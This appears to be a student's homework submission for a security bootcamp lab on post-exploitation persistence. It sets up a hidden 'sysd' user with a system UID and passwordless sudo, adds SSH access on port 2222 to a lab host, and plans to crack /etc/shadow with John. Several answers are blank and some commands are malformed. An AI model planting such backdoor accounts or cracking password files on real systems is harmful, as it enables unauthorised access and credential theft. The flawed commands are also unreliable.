**Week 6 Homework Submission File: Advanced Bash - Owning the System**

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**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * useradd sysd
2. Give your secret user a password:
   * Passwd p4ssw0rd\*
3. Give your secret user a system UID < 1000:
   * Usermod -u 300 sysd
4. Give your secret user the same GID:
   * Groupmod -g 300 sysd
5. Give your secret user full sudo access without the need for a password:
   * Visudo
6. Test that sudo access works without your password:

Your bash commands here

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

Sudo gedit /etc/ssh/sshd\_config

Sudo nano /etc/ssh/sshd\_config

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * Sudo systemctl restart ssh.service
2. Exit the root account:
   * exit
3. SSH to the target machine using your sysd account and port 2222:
   * ssh sysd@192.168.6.105 -p 2222
4. Use sudo to switch to the root user:
   * Sudo -i

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * Your solution command here
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * Your solution command here